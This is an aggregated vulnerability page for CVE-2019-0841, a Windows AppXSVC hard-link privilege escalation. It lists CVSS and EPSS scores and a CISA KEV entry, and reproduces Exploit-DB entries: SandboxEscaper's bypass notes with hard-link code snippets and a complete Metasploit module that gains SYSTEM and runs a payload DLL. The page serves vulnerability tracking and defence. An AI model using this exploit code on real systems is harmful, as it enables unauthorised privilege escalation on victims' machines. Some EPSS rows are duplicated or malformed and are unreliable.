CVE-2019-0841

Score / Severity

7.8

High

OWSAP

A01-Broken Access Control

EPSS

85.99%V4

Vector

Local

Published

2019-04-09
20h18 +00:00

Modified

2025-02-07
16h28 +00:00

Official links

CVE.org

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CVE Descriptions

An elevation of privilege vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links, aka 'Windows Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-0730, CVE-2019-0731, CVE-2019-0796, CVE-2019-0805, CVE-2019-0836.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-59	Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-03-14 23h00 +00:00

Action is due : 2022-04-04 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	87.81%	–	–	–	–
2021-09-05	–	87.81%	–	–	–
2022-02-06	–	–	40.94%	–	–
2022-10-09	–	–	39.81%	–	–
2023-03-12	–	–	–	88.91%	–
2023-03-19	–	–	–	87.4%	–
2023-03-26	–	–	–	85.51%	–
2023-04-16	–	–	–	85.89%	–
2023-05-07	–	–	–	84.15%	–
2023-05-14	–	–	–	85.53%	–
2023-05-21	–	–	–	89.26%	–
2023-06-04	–	–	–	88.58%	–
2023-06-25	–	–	–	88.63%	–
2023-07-09	–	–	–	87.2%	–
2023-08-27	–	–	–	85.68%	–
2023-09-10	–	–	–	89.68%	–
2023-09-24	–	–	–	87.53%	–
2023-10-22	–	–	–	88.34%	–
2023-12-10	–	–	–	86.86%	–
2024-02-18	–	–	–	86.86%	–
2024-03-03	–	–	–	86.7%	–
2024-04-07	–	–	–	86.55%	–
2024-06-02	–	–	–	86.55%	–
2024-12-22	–	–	–	84.55%	–
2025-01-26	–	–	–	82.33%	–
2025-02-16	–	–	–	83.64%	–
2025-01-19	–	–	–	84.55%	–
2025-01-25	–	–	–	82.33%	–
2025-02-16	–	–	–	83.64%	–
2025-03-18	–	–	–	–	83.7%
2025-03-30	–	–	–	–	85.92%
2025-04-22	–	–	–	–	85.99%
2025-04-22	–	–	–	–	85.99,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	1%
2022-02-06	98%
2022-10-09	98%
2023-03-12	98%
2023-03-19	98%
2023-03-26	98%
2023-04-16	98%
2023-05-07	98%
2023-05-14	98%
2023-05-21	98%
2023-06-04	98%
2023-06-25	98%
2023-07-09	98%
2023-08-27	98%
2023-09-10	98%
2023-09-24	98%
2023-10-22	98%
2023-12-10	98%
2024-02-18	99%
2024-03-03	99%
2024-04-07	99%
2024-06-02	99%
2024-12-22	99%
2025-01-26	99%
2025-02-16	99%
2025-01-19	99%
2025-01-25	99%
2025-02-16	99%
2025-03-18	99%
2025-03-30	99%
2025-04-22	99%
2025-04-22	99%

Exploit information

Exploit Database EDB-ID : 46938

Publication date : 2019-05-22 22h00 +00:00
Author : SandboxEscaper
EDB Verified : No

There is still a vuln in the code triggered by CVE-2019-0841 The bug that this guy found: https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/ If you create the following: (GetFavDirectory() gets the local appdata folder, fyi) CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL); CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini"); If we create that directory and put an hardlink in it, it will write the DACL. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different. You can find this by opening edge -> settings and scrolling down. Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! To repro: 1. Run polarbear.exe 2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself) Use the vide demo as guidance.. EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46938.zip

Exploit Database EDB-ID : 46976

Publication date : 2019-06-06 22h00 +00:00
Author : SandboxEscaper
EDB Verified : No

CVE-2019-0841 BYPASS #2 There is a second bypass for CVE-2019-0841. This can be triggered as following: Delete all files and subfolders within "c:\users\%username%\appdata\local\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\" (atleast the ones we can delete as user) Try to launch edge. It will crash the first time. When we launch it a second time, it will write the DACL while impersonating "SYSTEM". The trick here is to launch edge by clicking it on the taskbar or desktop, using "start microsoft-edge:" seems to result in correct impersonation. You can still do this completely programmatically.. since edge will always be in the same position in the task bar.. *cough* sendinput *cough*. There is probably other ways too. Another note, this bug is most definitely not restricted to edge. This will be triggered with other packages too. So you can definitely figure out a way to trigger this bug silently without having edge pop up. Or you could probably minimize edge as soon as it launches and close it as soon as the bug completes. I think it will also trigger by just launching edge once, but sometimes you may have to wait a little. I didn't do extensive testing.. found this bug and quickly wrote up a poc, took me like 2 hours total, finding LPEs is easy. To repro: 1. Launch my poc 2. Launch edge several times Use video demo as guidance. Also, I don't get paid for dropping bugs, so if you want a simple and full exploit, then go fucking write it yourself, I have better things to do, such as preparing my voyage into the arctic. You're welcome. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Make sure you have multiple cores in your VM (not multiple processors, multiple cores). It's going to increase the thread priority to increase our odds of winning the race condition that this exploits. If your VM freezes it means you either have 1 core or set your vm to have multiple processors instead of multiple cores... which will also cause it to lock up. EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46976.zip

Exploit Database EDB-ID : 46683

Publication date : 2019-04-08 22h00 +00:00
Author : Nabeel Ahmed
EDB Verified : No

This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user. 1. The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the settings.dat file. 2. After Microsoft Edge is killed it will check for the "setting.dat" file and delete it in order to create a hardlink to the requested targeted file (in our case that was the HOSTS file) 3. Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed "Full Control" permissions have been set for the current user. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46683.zip

Exploit Database EDB-ID : 47128

Publication date : 2019-07-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Exploit::EXE include Post::File include Post::Windows::Priv include Post::Windows::FileInfo include Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AppXSvc Hard Link Privilege Escalation', 'Description' => %q( There exists a privilege escalation vulnerability for Windows 10 builds prior to build 17763. Due to the AppXSvc's improper handling of hard links, a user can gain full privileges over a SYSTEM-owned file. The user can then utilize the new file to execute code as SYSTEM. This module employs a technique using the Diagnostics Hub Standard Collector Service (DiagHub) which was discovered by James Forshaw to load and execute a DLL as SYSTEM. ), 'License' => MSF_LICENSE, 'Author' => [ 'Nabeel Ahmed', # Vulnerability discovery and PoC 'James Forshaw', # Code creating hard links and communicating with DiagHub service 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'CVE', '2019-0841' ], [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ], [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ] ], 'Targets' => [ [ 'Windows 10', { 'Platform' => 'win' } ] ], 'DisclosureDate' => '2019-04-09', 'DefaultTarget' => 0 )) end def check return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i path = expand_path('%WINDIR%\\system32\\win32k.sys') major, minor, build, revision, brand = file_version(path) return CheckCode::Appears if build < 17763 CheckCode::Detected end def upload_file(file_name, file_path) contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name)) write_file(file_path, contents) register_file_for_cleanup(file_path) rescue fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target') end def init_process print_status("Attempting to launch Microsoft Edge minimized.") cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30) end def mk_hard_link(src, target, link_exe) out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"") return (out && out.include?('Done')) end def write_payload print_status('Writing the payload to disk') code = generate_payload_dll @original_data = read_file(@rtf_path) write_file(@rtf_path, code) end def exploit vuln_status = check fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system? cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"") dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat") fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path) if session.arch == ARCH_X86 exe_name = 'CVE-2019-0841_x86.exe' f_name = 'diaghub_load_x86.exe' elsif session.arch == ARCH_X64 exe_name = 'CVE-2019-0841_x64.exe' f_name = 'diaghub_load_x64.exe' end link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe") upload_file(exe_name, link_file_name) @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf') fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name) print_good('Successfully created hard link') init_process cmd_exec("taskkill /F /IM MicrosoftEdge.exe") write_payload diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}") upload_file(f_name, diaghub_path) cmd = "\"#{diaghub_path}\" \"license.rtf\"" cmd_exec(cmd) end def cleanup folder_path = expand_path("%TEMP%\\etw") dir_rm(folder_path) write_file(@rtf_path, @original_data) super end end